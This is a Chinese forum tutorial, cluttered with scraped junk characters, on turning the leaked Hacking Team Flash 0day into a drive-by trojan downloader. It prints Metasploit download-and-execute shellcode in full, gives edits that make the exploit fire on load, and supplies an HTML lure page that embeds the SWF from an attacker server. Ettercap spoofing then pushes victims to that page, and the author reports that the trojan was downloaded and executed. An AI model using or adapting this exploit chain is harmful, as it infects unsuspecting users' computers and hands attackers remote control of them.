|
- K" M7 c: p; L$ r4 {1 e 三、flash 0day之手工代码修改制作下载者实例入侵演示
% n1 k* Y: T2 k( L, {& Q0 L' D 4 J4 [8 W7 ?" D l3 y# Q
/ F$ B( W% P' b r
利用到的工具:
! e o' N- v* f6 U
* A T, u* M% e1 \" b0 f( {9 W/ j
/ G& @9 c; m" X8 o2 B Msf ; m; N1 k i5 B; y
' `0 N. p0 W" e$ K& \
$ q3 F* m1 g5 K. T$ s: |; a; e Ettercap
0 `' q2 N) `) T+ b' t: i. b
5 \6 o& O3 [8 S- S, a/ C6 J6 M0 G& h+ g* o% A `
Adobe Flash CS6
8 {9 ~: O. K" ` Y, \
& R! I% f! I8 s: `; F
+ S, @7 N8 E( J/ }" c Hacking Team Flash 0day-可冲破Chrome沙盒-Evil0X源代码一份 . l! D8 t3 z ?* I
$ }+ N' u) d$ I% _
) p, Y5 l0 g3 p. ~6 k# ]
下面我们就开始演示入侵,利用msf生成shellcode,首先打开msf执行use windows/download_exec,show options , P: I( X- u: T4 l" j
/ e! C, Q3 |8 C. c- |) K/ a
( T) W, v; d# Y8 u2 i7 t; Y5 m 如图:
3 K2 _% R* w$ K3 K- p- v 8 t7 G" S0 q9 d% Y6 Y$ d7 P
! Q7 ` ]. d* f% m; I. y
- x6 g S( X4 ?! E! M. {7 U
( y, _* f( g9 |# W+ J9 @
' k; A0 M5 ?% P* F6 H. T& g& m! S4 v + j0 Q2 S- C# l6 O
* K v1 O, ^4 ^
# U5 ]8 @: y! N1 i9 o
然后set EXE system.exe,再执行set URL,需要说明一下URL就是我们的马的下载地址,这里我们用远控马,远控配置使用不再详细说明。。。如图:
) e5 Y/ J( g9 z$ \; b" M) N ; l% g& {# r( y' c! E- y+ q
) U* K* t( K5 M5 B. i' ~7 s 6 N& z$ M( a) o; k
0 s/ Q2 Z# E! b# a G7 q
9 z' u; q( E" R8 T
* M% ?7 E' f, f3 ]* r
) l, N% X; C) A% ?* q* u# o' o$ W6 Y
7 s) M k& M* ~7 d! ?& `0 Q 然后执行generate -t dword生成shellcode,如下:
* F+ R& _- u X- E a 2 f X4 ]3 d) e4 c
$ [$ A" P& l X
, T! r; S' x# J/ I1 S1 n $ |" T) [) n- N1 t0 |6 i
* Z6 H1 I+ u. d" F/ l
复制代码到文本下便于我们一会编辑flash exp,如下: : j6 ?7 a( v/ O
+ g5 g2 J5 f! h8 F% s7 U) Q3 M$ C$ s& `
0x0089e8fc, 0x89600000, 0x64d231e5, 0x8b30528b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0xc031ff31, & w- g! \9 D1 i# C: G
8 b( W* @; d$ o
0 Q% V8 t4 s6 D# X N 0x7c613cac, 0xc1202c02, 0xc7010dcf, 0x5752f0e2, 0x8b10528b, 0xd0013c42, 0x8578408b, 0x014a74c0, " w0 [; U0 y( W$ e
: Y9 N* S0 c) E# I* A$ N) V
) i- `1 k6 p6 k7 Y 0x488b50d0, 0x20588b18, 0x3ce3d301, 0x8b348b49, 0xff31d601, 0xc1acc031, 0xc7010dcf, 0xf475e038, / c7 x" a8 w2 w4 B2 V; w' s% }2 \. w6 D
8 p- e6 x |4 y: c5 ]8 w( ^# \. ]7 A+ X% i6 b2 V
0x3bf87d03, 0xe275247d, 0x24588b58, 0x8b66d301, 0x588b4b0c, 0x8bd3011c, 0xd0018b04, 0x24244489, , K$ }4 l, _4 h& x' }& s/ [1 c
+ [( Z1 `, V( C3 A9 E3 o
' g/ D% T/ K, a& {; R" e
0x59615b5b, 0xe0ff515a, 0x8b5a5f58, 0x5d86eb12, 0x74656e68, 0x69776800, 0xe689696e, 0x774c6854,
. g# S+ g! ?: {4 J" m) [8 h
! d" V/ k8 T' F! E0 W9 l/ s7 K2 ~$ {+ R( h, y4 m0 ?
0xd5ff0726, 0x5757ff31, 0x68565757, 0xa779563a, 0x60ebd5ff, 0x51c9315b, 0x51036a51, 0x53506a51, : c% O0 M* m( ?/ k; t$ I' M
; e5 t+ x5 N$ p0 B7 j
3 U+ m9 Y" w, {, y* M 0x89576850, 0xd5ffc69f, 0x31594feb, 0x006852d2, 0x52846032, 0x52515252, 0x55eb6850, 0xd5ff3b2e, # g4 I' r7 N3 [, v, k* I0 X9 d
+ z5 O3 K; a# {( ]
9 ~1 x' Z0 w7 F, i6 O3 n' u9 B 0x106ac689, 0x3380685b, 0xe0890000, 0x6a50046a, 0x7568561f, 0xff869e46, 0x57ff31d5, 0x56575757,
* ^# g# w3 f% s
8 O3 b: l2 ?8 |) I9 C: J% U4 B0 w6 O/ {3 c
0x18062d68, 0x85d5ff7b, 0x4b1f75c0, 0x007c840f, 0xd1eb0000, 0x00008ee9, 0xfface800, 0x732fffff, - k g4 q+ b5 ^5 ?$ D7 T" `! N
' j/ y( x, }, L9 S2 @: U, h1 u; K
( U( F+ l3 P* i6 D 0x65747379, 0x78652e6d, 0x6beb0065, 0x505fc031, 0x026a026a, 0x6a026a50, 0xda685702, 0xff4fdaf6,
" r* u2 P% D) A* @7 y. J % F1 g; u6 L3 M/ F3 B2 O& T# y+ W
) r9 o: S# s! Y# t% j c9 f f7 m
0xc03193d5, 0x0304b866, 0x8d54c429, 0x3108244c, 0x5003b4c0, 0x12685651, 0xffe28996, 0x74c085d5,
3 H l7 N+ O& q: `. W2 _ , R/ z( F) Y4 D6 u( V
+ J9 j8 c& @9 U/ F 0xc085582d, 0x006a1674, 0x448d5054, 0x53500c24, 0xae572d68, 0x83d5ff5b, 0xceeb04ec, 0x96c66853,
9 i/ S+ t6 N' s! F# I 4 Q- f" e# o) s0 |0 J2 o2 w. V( `
" | F5 @ q. n! `: @$ h. W, y' s4 E6 J( n 0xd5ff5287, 0x6857006a, 0x876f8b31, 0x006ad5ff, 0xa2b5f068, 0xe8d5ff56, 0xffffff90, 0x74737973, 5 k8 G( g# f3 P& K) p4 h! ?
w8 l, d S' a2 a
; q, i6 w! `- k
0x652e6d65, 0xe8006578, 0xffffff08, 0x2e737378, 0x64696162, 0x6b682e6f, 0x00000000 * M3 ?& T: M+ J$ _
& P0 ]7 L# w0 q a L% L4 |
* @9 G$ ?+ Q/ W2 o' n6 h
( u+ W- v2 ~5 x* S5 n5 f3 Y
1 K5 Y/ |) p5 W1 D
5 f0 Q; k1 g- L( J/ D* W( r" p
2 {: q. h% a; U7 J0 v " A9 S' b9 c$ B7 @% H7 v" t0 X
% x7 @0 o9 T- }! k+ L 下面我们来修改flash 0day exp,需要修改三个文件,分别为:
0 Z& H4 I6 U; ^3 w! H$ @
& w% ^5 {9 }. \/ m5 I% B- z7 U* J/ b4 d: G. C8 i
+ w# h Q, C# m$ N$ S3 _
/ M% ^" x: d \2 g% o1 m: o' O% D, P. o& ~3 v, Z4 a
先修改ShellWin32.as,部分源代码如图: u2 a" q0 ~" o& Z
, l1 }- q0 ^$ \1 U$ q
) H ~& E" l% a; n: p3 p
( j: R: A1 G9 X1 x; X* _- {+ o9 s0 i 2 k2 P5 K; C0 Y1 L1 b& B
: {+ c, I0 l( K- y 我们需要把标记处[]中的代码改成用msf生成的代码,修改后如下: $ O4 H$ |6 H0 r" I* B& z
! y) {) H$ O0 j! N( g, R: X( w# }
) S; o4 x7 W, K7 }2 }1 W) ]) _ % |$ i' O8 G2 }) q
8 T( N& }4 X0 u! ?+ P0 O; L$ [ l) x8 `" j& U1 I& {( Z
然后保存,ShellWin64.as的修改方法如上述,不再演示,下面我们来修改myclass.as,这里需要说明一下,因为此exp生成的利用程序,不能直接自动触发flash漏洞,也就是需要点击按钮才可以,实际上在做渗透的时候需要把它搞得更完美,所以就需要修改,修改方法:搜索myclass的某个字符doc.addchild(btn);如图:
& N0 h( E" U' e+ N# @! ] 4 G, B( @* ~ G2 D+ A8 S# o! P# O
# j$ I! ]+ j8 p0 ]
( ?/ U3 Z; O2 Z4 ?/ P4 \/ F2 w
2 j& L4 g3 h K& p" l! Z4 `+ O) s6 f, b" K* s9 z" ?* q* c: u
换行在后面加一句TryExpl();注意是l不是数字1,然后如图: % r, K& _1 a, b8 m. U9 i+ O
% ?& ~5 Y) U3 X6 F* y& }" I( X6 D& p" y$ w Y. k. h) A/ r9 S
7 w' g" }& d: T; U& [
% U! ]' P8 u( l4 Z' f/ w' m2 b
5 f8 V. e$ h7 A' @) s/ P
7 n {3 U/ D1 v% Y8 D3 ~' e ; _3 s8 i" z& J
7 s# X- j) z& A6 v
' X! x' E/ v5 s$ J
7 \1 @% }! b, ^! ^+ O/ y0 x/ K8 |4 }6 ?
然后点保存,下面我们来编译一下,打开
2 t; U" L8 l0 c) ~$ n
5 v d! L( n+ c- g5 w; q5 i
" m, e8 G) N# m* z! ~1 q1 F8 @ exp1.fla然后点文件-发布,看看编译没错误 $ s( t- B+ F2 U" s$ K# H1 V
& Q. m. R3 c2 y4 [) C; @
# \. `0 H* H* Z2 k3 A
* E5 T4 ~# z8 [& P/ z
9 Y8 O5 u/ \2 Y+ I% j1 Q& E9 j; d8 L
- x/ v4 V; q; r% O) p
$ t% L Y; ^' }% B5 B; j1 j - o! f3 l3 o# P% S% Q/ l; P, l
* a6 x+ y- A) y* ~8 Y6 H
' T$ l. Y' h' L) E& i: Q
/ ~3 s0 `7 W6 J* T. P! U, c* N3 F2 D
- H$ @% y6 q4 k3 x9 k# a7 c
! @1 u4 [" W. M4 ~4 _: D+ c0 J$ B5 S5 t" c) B/ a& }( F/ ~- ^
然后我们把生成的
. I2 [/ F& D, p* L! a
8 ?$ N! T3 _' o) }2 K/ W! }; Y4 B; ]+ `
exp1.swf丢到kailinux 的/var/www/html下: ; b: i6 R: K( [2 X- `
5 ?/ H. ^5 j" r6 Q5 N U
- O: A. b+ I6 n 然后把这段代码好好编辑一下
+ P9 I0 F& r4 r5 P0 J/ R: C * E; {- {# F. m+ |. t s4 H
* X" Y2 C, @$ |" |% w6 _2 p. v/ U x
% {+ h- R. K/ F, J6 K
/ U P1 A6 n9 B0 H+ J" ~% i
. c. L4 S9 c H / j% k D4 L m# g6 r h
1 {9 o: c5 h. L5 P
0 W4 M5 y; h! r2 A& A: E 7 g% D9 P; t- E% ~3 F/ u. f* K% ~
) H4 v& |, g; m+ Y( H
6 Q' U' T3 r! `9 J1 a6 N0 h
% w2 c$ {" K4 K1 m
- N0 Z$ ~& h2 N5 w1 }
6 P1 @" |3 w, ~: I# D
3 c j+ C' p- T1 J9 G! o7 }
: Z* n! g7 [9 t* K8 G& _, D1 z$ Z2 n
# U$ ]9 Z- J) S9 m) M# a( C
8 ^$ n8 |, h$ h$ X! L 1 k$ k- {0 f& r" t6 R6 l+ L
+ r3 ?0 b# j! c! }# Q7 ?3 R
<!DOCTYPE html> % m3 `# ?/ V8 P7 R( y% I: I
$ E* l9 U8 I5 \" ~2 |4 ^) A$ G0 Z
2 Q! ]2 o% q% I# e: ?+ B5 V <html> - s/ R0 {5 \9 E {/ a% u* \
* d. J, }" a0 L1 s% a3 n
- a d: N& R. t <head>
% u; _2 M7 n% `8 | W ; @8 a) z* l/ T. o
" |' O% Z5 G0 u" k1 Y0 K
<meta http-equiv="Content-Type" content="text/html; 5 \6 K9 S7 d2 u( k/ \
7 N, O V9 V: C
4 i0 x" d# _* Z% T) B- L" h charset=utf-8"/>
0 e9 y6 H" L" _" |. r1 R
7 B6 B3 ?# {- I0 [* x* |) Z! y# H r6 d2 h/ u* K4 l5 u3 g2 T
</head> 7 {* ]4 f5 B0 ]! k$ p6 p
/ K1 B: N8 |! q& w
- s: t9 n$ |! D6 F& s8 d+ k <body> " T, A5 ^( w7 r: e; _
6 X! b+ H* o4 [* i5 {
9 l4 t6 K. {$ s1 ]- w7 c <h2> Please wait, the requested page is loading...</h2>
( v0 Z/ C, m7 T" c4 A" }* U4 P
( f7 I/ ~' f g1 ^8 \/ h
- S5 Y7 X7 [0 F. ?7 r <br> " z8 R3 C6 l) t ~* v
6 Y# ]0 o% w' B: v, B% O; X3 [8 F- r6 U
<OBJECT
5 U3 D% y( F* |; O4 M, M/ k6 A ; c3 @8 e: c/ e
& Z! j- X- }' {; n classid="clsid 27CDB6E-AE6D-11cf-96B8-444553540000" WIDTH="50" HEIGHT="50" id="4">< ARAM NAME=movie
- @% I3 A+ U, m" G8 u2 I9 | ! J& p7 v, i$ Q- K# L [% L7 k
6 U/ l8 `' t" Z* M$ S; B% v VALUE="http://192.168.0.109/exp1.swf"></OBJECT>
. f/ `6 n' t# p8 j
1 a4 C Y* j0 X' {: ?: e* h
: ~1 d" ^4 o5 u' V& \( R! {/ ? </body>
. M& `+ K- T) E" Y$ g
0 a) b1 }7 |. Q
8 D$ m3 S" J3 |2 U <script>
( a' Z' }3 i# o9 D/ ^
( l! t/ _. M& F" S' Q* u
! P# Y: k8 X, D& U! `! K, B setTimeout(function () { + R# ?5 R; H2 k$ Q6 g
' {0 X x- J* F
, K( w: q8 X9 u# p2 {1 ~
5 U Q2 B. t7 Q9 H" I, H; l
0 |9 Y! a" u/ g6 y/ N2 n: e8 l6 m, W( e, [% h* f1 K. M
window.location.reload();
5 S; e# C ?' ^, Z
7 U& G% a, M$ A6 C6 D6 S
4 l( D- |/ C |% O; Y* r }, 10000); . Q2 d8 e5 V( d$ E( ]. v
$ p1 }6 h) A `6 _0 Q! J* s& a1 ]) I
/ g: h5 |6 P' m' \+ P. |- o
* t1 s5 I1 o7 Y* E( k6 v
! v. M+ X/ z4 b" n" L! ^7 W
</script> ; p5 ^7 i9 b$ a; r$ e- |( N. c
% \! V% ^3 \2 P; ]+ n2 t. n- ?5 R
4 O) H; h/ [7 H- u. W: F0 _; {, G* t% C
</html> , ]% V# o! P6 t3 r, P) E
& l) P' W4 ~6 F. _9 ^* B
$ @6 x" K- D ^' _5 `5 {
$ Y3 k+ D+ f5 _1 N 1 ~- `/ G% p7 y% u4 O
9 N& o, t% ~% l
注意:192.168.0.109是kali的ip地址,这时候我们需要service apache2 start启动一下web服务,然后将上面的html保存为index.htm同样丢到kali web目录下,测试访问链接存在如图:
9 f8 a- F, [. b9 P8 _ ) S; ? d6 B6 G. m" b5 m3 n7 q$ g
' L; E6 ^: x' k4 ^! T7 f
8 l. w. s2 i3 g& ^5 y5 P1 P . q( d7 }+ B4 h7 d s4 P4 D
7 m! M7 c% V( c; e1 h5 l
, |; k W) b# P4 B8 K1 P
5 v# k, j$ Y$ h- M6 M- |
' R3 Q ?& u& V/ l K, L) ^8 T 9 R; x5 ?( B9 q% n6 b% B) L5 x
. i% f% r! B2 ~' Z) A3 t: I
9 W- s6 }2 Y' m# h1 Y) u
' }6 e' D0 I3 |) v5 ^% ^
; H( v+ L- H6 Q8 {/ h, @+ |
; X$ c' q: P% z2 D3 l- \0 y7 n3 g
: c1 M$ A. d: k1 X/ o 4 S+ V5 r9 Z8 ~5 T6 v' ?
! y! L# I8 j% N! j 下面我们用ettercap欺骗如图: $ o4 R7 r) U) ~! @8 J E
6 T& K6 _; k1 ]$ U% }) k9 J% S) W) K5 J2 c! L& [2 O
/ x* i1 Z! k3 A, F- a1 @& C" U 9 H9 [' A% x5 _6 }- |
. z% D) H) c+ w& X# z# a
# c& u$ p4 b2 {, y
9 Q% J1 Z9 G8 f
& V2 s; d- T: j3 K8 [% P$ o
下面我们随便访问个网站看看:
" q) e; V; p6 A 2 h" l8 D3 S) V% a, ]' Y+ K |
* M! k! k" g x3 q$ y 我靠我发现直接用ettercap欺骗物理机装了腾讯管家照样可以欺骗成功,如图:
; x& x; q& g( h$ I( D
! l% L. ]/ E8 ]- u; F
. t# o W7 E- F/ a7 p9 B ! s- B; G2 {& L8 c
1 L* `8 b& H0 X8 K2 A1 n e! l' M4 @ Y9 c5 u2 ]5 b
我们看另一台,
! k% u" o# H( b' [
5 z) n8 j; l5 T- Z! f3 a+ f: {4 W$ w9 [* G6 B3 f- S" S5 }2 p4 [4 E" r
提示这个错误,说明木马是成功被下载执行了, 只是由于某些原因没上线而已。。。
2 y6 t$ O3 [" `- _3 q1 J" i |